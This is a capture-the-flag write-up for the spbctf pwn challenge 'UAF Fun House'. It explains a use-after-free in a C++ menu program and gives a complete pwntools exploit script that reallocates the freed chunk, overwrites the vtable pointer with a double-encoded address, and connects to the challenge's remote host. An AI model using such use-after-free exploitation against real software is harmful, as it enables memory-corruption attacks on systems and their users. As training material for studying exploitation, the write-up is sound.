UAF Fun House
UAF Fun House
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: dangling_pointer_reuse, double_encoding_address, tcache_same_size_reallocation, uaf_vtable_hijack
Summary
Task: C++ menu-driven data manager with Array/Flag classes using virtual functions; remove_element() frees object but leaves dangling pointer in global array (UAF). Solution: free Array, reallocate same-size double[] buffer over freed chunk, overwrite vptr with Flag vtable pointer encoded as IEEE-754 double, trigger virtual dispatch to Flag::Display which calls system("cat flag.txt").
UAF Fun House โ spbctf
Description
Use-After-Free for Fun ๐คน nc 109.233.56.90 11728
A C++ binary (mc4.elf) with source code (mc4.cpp) implements a menu-driven data manager. The program uses C++ classes with virtual functions: Data (base), Array (inherits Data), and Flag (inherits Data). The Flag::Display() method calls system("cat flag.txt") โ the win condition. The goal is to trigger Flag::Display() through a Use-After-Free vulnerability.
Analysis
Binary Properties
- ELF 64-bit, x86-64, dynamically linked
- No PIE (base
0x400000) โ all addresses are fixed at compile time - Partial RELRO, NX enabled, canary present
- Not stripped, includes debug_info โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Key Addresses (from nm)
| Symbol | Address |
|---|---|
FLAG (global Flag object) | 0x6030c8 |
_ZTV4Flag (Flag vtable) | 0x602d58 |
Flag::Display | 0x40173a |
The Flag vtable at 0x602d58 has the standard C++ layout:
+0x00: offset-to-top (0)+0x08: typeinfo pointer+0x10:Flag::Display(0x40173a)+0x18:Data::Modify(0x401542)
A Flag object's vptr points to vtable + 0x10 = 0x602d68 (the first virtual function slot).
Object Layout
An Array object occupies 24 bytes (0x18):
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
+0x00: vptr (8 bytes) โ vtable pointer
+0x08: size (4 bytes int + 4 bytes padding)
+0x10: data (8 bytes) โ double* pointer
This maps to a malloc chunk of size 0x20 (24 bytes + chunk metadata). Crucially, new double[3] also allocates exactly 24 bytes โ the same tcache bin (0x20).
The Vulnerability
In remove_element():
cpp read-only โข copy allowedvoid remove_element() { int i; cout << "Enter data index to remove: "; cin >> i; if (i < 0 || i >= COUNT) { cout << "Wrong index\n"; return; } Array * arr = (Array *)DATAS[i]; delete arr->data; // frees the double[] buffer delete DATAS[i]; // frees the Array object cout << "Element freed\n"; // BUG: DATAS[i] is NOT set to NULL // BUG: COUNT is NOT decremented }
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
After deletion, DATAS[i] still holds the pointer to the freed Array object. Subsequent display_element() or modify_element() calls will dereference this dangling pointer โ a classic Use-After-Free.
Solution
Exploit Strategy
Since there's no PIE, the Flag vtable address is fixed. The plan:
- Allocate an Array with size 3 โ creates two 24-byte chunks (same tcache bin
0x20): one fordouble[3]data, one for theArrayobject. - Free the Array โ both chunks go to tcache
0x20. LIFO order: head โ Array_obj โ data_chunk. The dangling pointerDATAS[0]remains. - Allocate a new Array with size 3 โ
new double[3]pops tcache head = freed Array_obj chunk. Writing the Flag vtable pointer (0x602d68) as the first double overwrites the dangling object's vptr. Thennew Array(...)pops the next entry (old data chunk). - Display index 0 โ
DATAS[0]->Display()performs virtual dispatch through the overwritten vptr, callingFlag::Display()โsystem("cat flag.txt"). โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
IEEE-754 Address Encoding
The address 0x602d68 must be written as a double value that cin >> parses back to the exact 64-bit pattern. As a subnormal double, 0x602d68 = 3.1141352909890443e-317. Verified round-trip with Python:
python read-only โข copy allowedimport struct val = struct.unpack('<d', struct.pack('<Q', 0x602d68))[0] assert struct.unpack('<Q', struct.pack('<d', val))[0] == 0x602d68 # val = 3.1141352909890443e-317
Exploit Script
python read-only โข copy allowed#!/usr/bin/env python3 import struct from pwn import * โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ context.arch = 'amd64' VTABLE_PTR = 0x602d68 # &Flag_vtable + 16 (points to first virtual func slot) def dbl(x): """Convert a 64-bit integer to its IEEE-754 double decimal representation.""" return format(struct.unpack('<d', struct.pack('<Q', x))[0], '.17g') HOST, PORT = '109.233.56.90', 11728 io = remote(HOST, PORT) def menu(c): io.recvuntil(b'choice: ') io.sendline(c.encode()) def add(size, nums): menu('a') io.recvuntil(b'Enter array size: ') io.sendline(str(size).encode()) io.recvuntil(b'numbers: ') io.sendline(' '.join(str(n) for n in nums).encode()) โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ def remove(i): menu('r') io.recvuntil(b'to remove: ') io.sendline(str(i).encode()) def display(i): menu('d') io.recvuntil(b'to display: ') io.sendline(str(i).encode()) # Step 1: Add array #0, size 3 โ two 0x20 tcache chunks add(3, [1.0, 2.0, 3.0]) # Step 2: Remove #0 โ frees data then Array obj # tcache 0x20: head โ Array_obj โ data_chunk # DATAS[0] still points to freed Array_obj (dangling!) remove(0) # Step 3: Add array #1, size 3 # new double[3] reuses freed Array_obj chunk # First double = Flag vtable ptr โ overwrites DATAS[0]'s vptr add(3, [dbl(VTABLE_PTR), 0, 0]) โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ # Step 4: Display index 0 โ virtual dispatch through Flag vtable # DATAS[0]->Display() โ Flag::Display() โ system("cat flag.txt") display(0) io.recvuntil(b'flag is:\n') print(io.recvall(timeout=3).decode(errors='replace')) io.close()
Execution
$ python3 exploit.py
[+] Opening connection to 109.233.56.90 on port 11728: Done
[+] Receiving all data: Done (149B)
spbctf{REDACTED}
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ